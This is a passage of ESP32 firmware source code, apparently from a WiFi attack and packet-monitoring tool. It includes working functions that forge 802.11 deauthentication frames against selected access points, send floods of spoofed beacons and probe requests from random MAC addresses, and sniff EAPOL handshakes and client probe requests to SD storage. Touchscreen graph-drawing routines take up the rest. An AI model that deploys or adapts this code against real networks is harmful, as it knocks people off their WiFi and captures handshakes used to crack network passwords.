  1351. if (display_obj.display_buffer->size() == 0)
  1352. {
  1353. //while (display_obj.printing)
  1354. // delay(1);
  1355. display_obj.loading = true;
  1356. display_obj.display_buffer->add(display_string);
  1357. display_obj.loading = false;
  1358. }
  1359. #endif
  1360. Serial.println();
  1361. if (save_packet)
  1362. sd_obj.addPacket(snifferPacket->payload, len);
  1363. }
  1364. }
  1365. }
  1366. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1367. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1368. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1369. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1370. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1371. int len = snifferPacket->rx_ctrl.sig_len;
  1372. String display_string = "";
  1373. String essid = "";
  1374. bool found = false;
  1375. if (type == WIFI_PKT_MGMT)
  1376. {
  1377. len -= 4;
  1378. int fctl = ntohs(frameControl->fctl);
  1379. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1380. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1381. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1382. #ifdef HAS_SCREEN
  1383. int buf = display_obj.display_buffer->size();
  1384. #else
  1385. int buf = 0;
  1386. #endif
  1387. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1388. {
  1389. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1390. {
  1391. essid.concat((char)snifferPacket->payload[26 + i]);
  1392. }
  1393. for (int i = 0; i < ssids->size(); i++) {
  1394. if (ssids->get(i).essid == essid) {
  1395. Serial.println("Found a sheep");
  1396. found = true;
  1397. break;
  1398. }
  1399. }
  1400. if (!found)
  1401. return;
  1402. delay(random(0, 10));
  1403. Serial.print("RSSI: ");
  1404. Serial.print(snifferPacket->rx_ctrl.rssi);
  1405. Serial.print(" Ch: ");
  1406. Serial.print(snifferPacket->rx_ctrl.channel);
  1407. Serial.print(" Client: ");
  1408. char addr[] = "00:00:00:00:00:00";
  1409. getMAC(addr, snifferPacket->payload, 10);
  1410. Serial.print(addr);
  1411. display_string.concat(addr);
  1412. Serial.print(" Requesting: ");
  1413. display_string.concat(" -> ");
  1414. // ESSID
  1415. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1416. {
  1417. Serial.print((char)snifferPacket->payload[26 + i]);
  1418. display_string.concat((char)snifferPacket->payload[26 + i]);
  1419. }
  1420. // Print spaces because of the rotating lines of the hardware scroll.
  1421. // The same characters print from previous lines so I just overwrite them
  1422. // with spaces.
  1423. #ifdef HAS_SCREEN
  1424. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1425. {
  1426. display_string.concat(" ");
  1427. }
  1428. if (display_obj.display_buffer->size() == 0)
  1429. {
  1430. display_obj.loading = true;
  1431. display_obj.display_buffer->add(display_string);
  1432. display_obj.loading = false;
  1433. }
  1434. #endif
  1435. Serial.println();
  1436. if (save_packet)
  1437. sd_obj.addPacket(snifferPacket->payload, len);
  1438. }
  1439. }
  1440. }
  1441. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1442. set_channel = random(1,12);
  1443. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1444. delay(1);
  1445. // Randomize SRC MAC
  1446. packet[10] = packet[16] = custom_ssid.bssid[0];
  1447. packet[11] = packet[17] = custom_ssid.bssid[1];
  1448. packet[12] = packet[18] = custom_ssid.bssid[2];
  1449. packet[13] = packet[19] = custom_ssid.bssid[3];
  1450. packet[14] = packet[20] = custom_ssid.bssid[4];
  1451. packet[15] = packet[21] = custom_ssid.bssid[5];
  1452. char ESSID[custom_ssid.essid.length() + 1] = {};
  1453. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1454. int ssidLen = strlen(ESSID);
  1455. //int rand_len = sizeof(rand_reg);
  1456. int fullLen = ssidLen;
  1457. packet[37] = fullLen;
  1458. // Insert my tag
  1459. for(int i = 0; i < ssidLen; i++)
  1460. packet[38 + i] = ESSID[i];
  1461. /////////////////////////////
  1462. packet[50 + fullLen] = set_channel;
  1463. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1464. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1465. // Add everything that goes after the SSID
  1466. for(int i = 0; i < 12; i++)
  1467. packet[38 + fullLen + i] = postSSID[i];
  1468. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1469. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1470. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1471. packets_sent = packets_sent + 3;
  1472. }
  1473. // Function to send beacons with random ESSID length
  1474. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1475. set_channel = random(1,12);
  1476. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1477. delay(1);
  1478. // Randomize SRC MAC
  1479. packet[10] = packet[16] = random(256);
  1480. packet[11] = packet[17] = random(256);
  1481. packet[12] = packet[18] = random(256);
  1482. packet[13] = packet[19] = random(256);
  1483. packet[14] = packet[20] = random(256);
  1484. packet[15] = packet[21] = random(256);
  1485. int ssidLen = strlen(ESSID);
  1486. //int rand_len = sizeof(rand_reg);
  1487. int fullLen = ssidLen;
  1488. packet[37] = fullLen;
  1489. // Insert my tag
  1490. for(int i = 0; i < ssidLen; i++)
  1491. packet[38 + i] = ESSID[i];
  1492. /////////////////////////////
  1493. packet[50 + fullLen] = set_channel;
  1494. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1495. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1496. // Add everything that goes after the SSID
  1497. for(int i = 0; i < 12; i++)
  1498. packet[38 + fullLen + i] = postSSID[i];
  1499. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1500. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1501. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1502. packets_sent = packets_sent + 3;
  1503. }
  1504. // Function for sending crafted beacon frames
  1505. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1506. set_channel = random(1,12);
  1507. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1508. delay(1);
  1509. // Randomize SRC MAC
  1510. packet[10] = packet[16] = random(256);
  1511. packet[11] = packet[17] = random(256);
  1512. packet[12] = packet[18] = random(256);
  1513. packet[13] = packet[19] = random(256);
  1514. packet[14] = packet[20] = random(256);
  1515. packet[15] = packet[21] = random(256);
  1516. packet[37] = 6;
  1517. // Randomize SSID (Fixed size 6. Lazy right?)
  1518. packet[38] = alfa[random(65)];
  1519. packet[39] = alfa[random(65)];
  1520. packet[40] = alfa[random(65)];
  1521. packet[41] = alfa[random(65)];
  1522. packet[42] = alfa[random(65)];
  1523. packet[43] = alfa[random(65)];
  1524. packet[56] = set_channel;
  1525. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1526. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1527. // Add everything that goes after the SSID
  1528. for(int i = 0; i < 12; i++)
  1529. packet[38 + 6 + i] = postSSID[i];
  1530. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1531. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1532. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1533. packets_sent = packets_sent + 3;
  1534. }
  1535. // Function to send probe flood to all "active" access points
  1536. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1537. // Itterate through all access points in list
  1538. for (int i = 0; i < access_points->size(); i++) {
  1539. // Check if active
  1540. if (access_points->get(i).selected) {
  1541. this->set_channel = access_points->get(i).channel;
  1542. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1543. delay(1);
  1544. // Build packet
  1545. // Randomize SRC MAC
  1546. prob_req_packet[10] = random(256);
  1547. prob_req_packet[11] = random(256);
  1548. prob_req_packet[12] = random(256);
  1549. prob_req_packet[13] = random(256);
  1550. prob_req_packet[14] = random(256);
  1551. prob_req_packet[15] = random(256);
  1552. // Set SSID length
  1553. int ssidLen = access_points->get(i).essid.length();
  1554. //int rand_len = sizeof(rand_reg);
  1555. int fullLen = ssidLen;
  1556. prob_req_packet[25] = fullLen;
  1557. // Insert ESSID
  1558. char buf[access_points->get(i).essid.length() + 1] = {};
  1559. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1560. for(int i = 0; i < ssidLen; i++)
  1561. prob_req_packet[26 + i] = buf[i];
  1562. /*
  1563. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1564. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1565. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1566. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1567. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1568. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1569. 0x00, 0x00
  1570. */
  1571. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1572. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1573. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1574. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1575. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1576. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1577. 0x00, 0x00, 0x00, 0x00};
  1578. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1579. for (int i = 0; i < 26 + fullLen; i++)
  1580. good_probe_req_packet[i] = prob_req_packet[i];
  1581. for(int i = 0; i < 40; i++)
  1582. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1583. // Send packet
  1584. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1585. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1586. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1587. packets_sent = packets_sent + 3;
  1588. }
  1589. }
  1590. }
  1591. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1592. // Itterate through all access points in list
  1593. for (int i = 0; i < access_points->size(); i++) {
  1594. // Check if active
  1595. if (access_points->get(i).selected) {
  1596. this->set_channel = access_points->get(i).channel;
  1597. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1598. delay(1);
  1599. // Build packet
  1600. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1601. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1602. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1603. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1604. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1605. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1606. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1607. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1608. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1609. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1610. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1611. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1612. // Send packet
  1613. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1614. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1615. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1616. packets_sent = packets_sent + 3;
  1617. }
  1618. }
  1619. }
  1620. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1621. {
  1622. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1623. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1624. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1625. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1626. int len = snifferPacket->rx_ctrl.sig_len;
  1627. if (type == WIFI_PKT_MGMT)
  1628. {
  1629. len -= 4;
  1630. int fctl = ntohs(frameControl->fctl);
  1631. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1632. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1633. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1634. if (snifferPacket->payload[0] == 0x80)
  1635. {
  1636. num_beacon++;
  1637. }
  1638. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1639. {
  1640. num_deauth++;
  1641. }
  1642. else if (snifferPacket->payload[0] == 0x40)
  1643. {
  1644. num_probe++;
  1645. }
  1646. if (save_packet)
  1647. sd_obj.addPacket(snifferPacket->payload, len);
  1648. }
  1649. }
  1650. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1651. {
  1652. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1653. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1654. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1655. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1656. int len = snifferPacket->rx_ctrl.sig_len;
  1657. if (type == WIFI_PKT_MGMT)
  1658. {
  1659. len -= 4;
  1660. int fctl = ntohs(frameControl->fctl);
  1661. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1662. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1663. }
  1664. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  1665. num_eapol++;
  1666. }
  1667. if (save_packet)
  1668. sd_obj.addPacket(snifferPacket->payload, len);
  1669. }
  1670. #ifdef HAS_SCREEN
  1671. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  1672. {
  1673. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  1674. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  1675. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  1676. {
  1677. currentTime = millis();
  1678. do_break = false;
  1679. y_pos_x = 0;
  1680. y_pos_y = 0;
  1681. y_pos_z = 0;
  1682. boolean pressed = false;
  1683. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  1684. // Do the touch stuff
  1685. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  1686. if (pressed) {
  1687. Serial.print("Got touch | X: ");
  1688. Serial.print(t_x);
  1689. Serial.print(" Y: ");
  1690. Serial.println(t_y);
  1691. }
  1692. // Check buttons for presses
  1693. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1694. {
  1695. if (pressed && display_obj.key[b].contains(t_x, t_y))
  1696. {
  1697. display_obj.key[b].press(true);
  1698. } else {
  1699. display_obj.key[b].press(false);
  1700. }
  1701. }
  1702. // Which buttons pressed
  1703. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1704. {
  1705. if (display_obj.key[b].justPressed())
  1706. {
  1707. Serial.println("Bro, key pressed");
  1708. //do_break = true;
  1709. }
  1710. if (display_obj.key[b].justReleased())
  1711. {
  1712. do_break = true;
  1713. // Channel - button pressed
  1714. if (b == 4) {
  1715. if (set_channel > 1) {
  1716. Serial.println("Shit channel down");
  1717. set_channel--;
  1718. delay(70);
  1719. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1720. //display_obj.tftDrawXScaleButtons(x_scale);
  1721. //display_obj.tftDrawYScaleButtons(y_scale);
  1722. display_obj.tftDrawChannelScaleButtons(set_channel);
  1723. display_obj.tftDrawExitScaleButtons();
  1724. changeChannel();
  1725. break;
  1726. }
  1727. }
  1728. // Channel + button pressed
  1729. else if (b == 5) {
  1730. if (set_channel < MAX_CHANNEL) {
  1731. Serial.println("Shit channel up");
  1732. set_channel++;
  1733. delay(70);
  1734. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1735. //display_obj.tftDrawXScaleButtons(x_scale);
  1736. //display_obj.tftDrawYScaleButtons(y_scale);
  1737. display_obj.tftDrawChannelScaleButtons(set_channel);
  1738. display_obj.tftDrawExitScaleButtons();
  1739. changeChannel();
  1740. break;
  1741. }
  1742. }
  1743. else if (b == 6) {
  1744. Serial.println("Exiting packet monitor...");
  1745. this->StartScan(WIFI_SCAN_OFF);
  1746. //display_obj.tft.init();
  1747. this->orient_display = true;
  1748. return;
  1749. }
  1750. }
  1751. }
  1752. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  1753. //Serial.println("-----------------------------------------");
  1754. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  1755. x_pos += x_scale;
  1756. initTime = millis();
  1757. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  1758. if (y_pos_x >= HEIGHT_1) {
  1759. Serial.println("Max EAPOL number reached. Adjusting...");
  1760. num_eapol = 0;
  1761. }
  1762. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  1763. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  1764. //Serial.println("num_beacon: " + (String)num_beacon);
  1765. //Serial.println("num_deauth: " + (String)num_deauth);
  1766. //Serial.println(" num_probe: " + (String)num_probe);
  1767. //num_beacon = 0;
  1768. //num_probe = 0;
  1769. //num_deauth = 0;
  1770. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  1771. //Plot "X" value
  1772. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  1773. //Plot "Z" value
  1774. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  1775. //Plot "Y" value
  1776. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  1777. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  1778. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  1779. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  1780. {
  1781. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  1782. }
  1783. else
  1784. {
  1785. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  1786. }
  1787. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  1788. //if (x_pos <= 90)
  1789. if (x_pos < 0) // below x axis
  1790. {
  1791. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  1792. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  1793. }
  1794. else
  1795. {
  1796. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  1797. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  1798. }
  1799. //tftDisplayTime();
  1800. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  1801. {
  1802. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  1803. }
  1804. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  1805. //y_pos_y_old = y_pos_y;
  1806. //y_pos_z_old = y_pos_z;
  1807. //delay(50);
  1808. }
  1809. sd_obj.main();
  1810. }
  1811. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  1812. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  1813. display_obj.tftDrawChannelScaleButtons(set_channel);
  1814. display_obj.tftDrawExitScaleButtons();
  1815. display_obj.tftDrawEapolColorKey();
  1816. display_obj.tftDrawGraphObjects(x_scale);
  1817. }
  1818. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  1819. {
  1820. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  1821. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  1822. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  1823. {
  1824. currentTime = millis();
  1825. do_break = false;
  1826. y_pos_x = 0;
  1827. y_pos_y = 0;
  1828. y_pos_z = 0;
  1829. boolean pressed = false;
  1830. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  1831. // Do the touch stuff
  1832. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  1833. if (pressed) {
  1834. Serial.print("Got touch | X: ");
  1835. Serial.print(t_x);
  1836. Serial.print(" Y: ");
  1837. Serial.println(t_y);
  1838. }
  1839. // Check buttons for presses
  1840. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1841. {
  1842. if (pressed && display_obj.key[b].contains(t_x, t_y))
  1843. {
  1844. display_obj.key[b].press(true);
  1845. } else {
  1846. display_obj.key[b].press(false);
  1847. }
  1848. }
  1849. // Which buttons pressed
  1850. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1851. {
  1852. if (display_obj.key[b].justPressed())
  1853. {
  1854. Serial.println("Bro, key pressed");
  1855. //do_break = true;
  1856. }
  1857. if (display_obj.key[b].justReleased())
  1858. {
  1859. do_break = true;
  1860. // X - button pressed
  1861. if (b == 0) {
  1862. if (x_scale > 1) {
  1863. x_scale--;
  1864. delay(70);
  1865. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1866. display_obj.tftDrawXScaleButtons(x_scale);
  1867. display_obj.tftDrawYScaleButtons(y_scale);
  1868. display_obj.tftDrawChannelScaleButtons(set_channel);
  1869. display_obj.tftDrawExitScaleButtons();
  1870. break;
  1871. }
  1872. }
  1873. // X + button pressed
  1874. else if (b == 1) {
  1875. if (x_scale < 6) {
  1876. x_scale++;
  1877. delay(70);
  1878. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1879. display_obj.tftDrawXScaleButtons(x_scale);
  1880. display_obj.tftDrawYScaleButtons(y_scale);
  1881. display_obj.tftDrawChannelScaleButtons(set_channel);
  1882. display_obj.tftDrawExitScaleButtons();
  1883. break;
  1884. }
  1885. }
  1886. // Y - button pressed
  1887. else if (b == 2) {
  1888. if (y_scale > 1) {
  1889. y_scale--;
  1890. delay(70);
  1891. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1892. display_obj.tftDrawXScaleButtons(x_scale);
  1893. display_obj.tftDrawYScaleButtons(y_scale);
  1894. display_obj.tftDrawChannelScaleButtons(set_channel);
  1895. display_obj.tftDrawExitScaleButtons();
  1896. //updateMidway();
  1897. break;
  1898. }
  1899. }
  1900. // Y + button pressed
  1901. else if (b == 3) {
  1902. if (y_scale < 9) {
  1903. y_scale++;
  1904. delay(70);
  1905. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1906. display_obj.tftDrawXScaleButtons(x_scale);
  1907. display_obj.tftDrawYScaleButtons(y_scale);
  1908. display_obj.tftDrawChannelScaleButtons(set_channel);
  1909. display_obj.tftDrawExitScaleButtons();
  1910. //updateMidway();
  1911. break;
  1912. }
  1913. }
  1914. // Channel - button pressed
  1915. else if (b == 4) {
  1916. if (set_channel > 1) {
  1917. Serial.println("Shit channel down");
  1918. set_channel--;
  1919. delay(70);
  1920. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1921. display_obj.tftDrawXScaleButtons(x_scale);
  1922. display_obj.tftDrawYScaleButtons(y_scale);
  1923. display_obj.tftDrawChannelScaleButtons(set_channel);
  1924. display_obj.tftDrawExitScaleButtons();
  1925. changeChannel();
  1926. break;
  1927. }
  1928. }
  1929. // Channel + button pressed
  1930. else if (b == 5) {
  1931. if (set_channel < MAX_CHANNEL) {
  1932. Serial.println("Shit channel up");
  1933. set_channel++;
  1934. delay(70);
  1935. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1936. display_obj.tftDrawXScaleButtons(x_scale);
  1937. display_obj.tftDrawYScaleButtons(y_scale);
  1938. display_obj.tftDrawChannelScaleButtons(set_channel);
  1939. display_obj.tftDrawExitScaleButtons();
  1940. changeChannel();
  1941. break;
  1942. }
  1943. }
  1944. else if (b == 6) {
  1945. Serial.println("Exiting packet monitor...");
  1946. this->StartScan(WIFI_SCAN_OFF);
  1947. //display_obj.tft.init();
  1948. this->orient_display = true;
  1949. return;
  1950. }
  1951. }
  1952. }
  1953. if (currentTime - initTime >= GRAPH_REFRESH) {
  1954. //Serial.println("-----------------------------------------");
  1955. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  1956. x_pos += x_scale;
  1957. initTime = millis();
  1958. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  1959. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  1960. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  1961. //Serial.println("num_beacon: " + (String)num_beacon);
  1962. //Serial.println("num_deauth: " + (String)num_deauth);
  1963. //Serial.println(" num_probe: " + (String)num_probe);
  1964. num_beacon = 0;
  1965. num_probe = 0;
  1966. num_deauth = 0;
  1967. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  1968. //Plot "X" value
  1969. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  1970. //Plot "Z" value
  1971. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  1972. //Plot "Y" value
  1973. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  1974. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  1975. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  1976. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  1977. {
  1978. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  1979. }
  1980. else
  1981. {
  1982. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  1983. }
  1984. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  1985. //if (x_pos <= 90)
  1986. if (x_pos < 0) // below x axis
  1987. {
  1988. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  1989. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  1990. }
  1991. else
  1992. {
  1993. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  1994. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  1995. }
  1996. //tftDisplayTime();
  1997. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  1998. {
  1999. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2000. }
  2001. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2002. y_pos_y_old = y_pos_y;
  2003. y_pos_z_old = y_pos_z;
  2004. //delay(50);
  2005. }
  2006. sd_obj.main();
  2007. }
  2008. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2009. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2010. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2011. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2012. display_obj.tftDrawYScaleButtons(y_scale);
  2013. display_obj.tftDrawChannelScaleButtons(set_channel);
  2014. display_obj.tftDrawExitScaleButtons();
  2015. display_obj.tftDrawColorKey();
  2016. display_obj.tftDrawGraphObjects(x_scale);
  2017. }
  2018. #endif
  2019. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2020. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
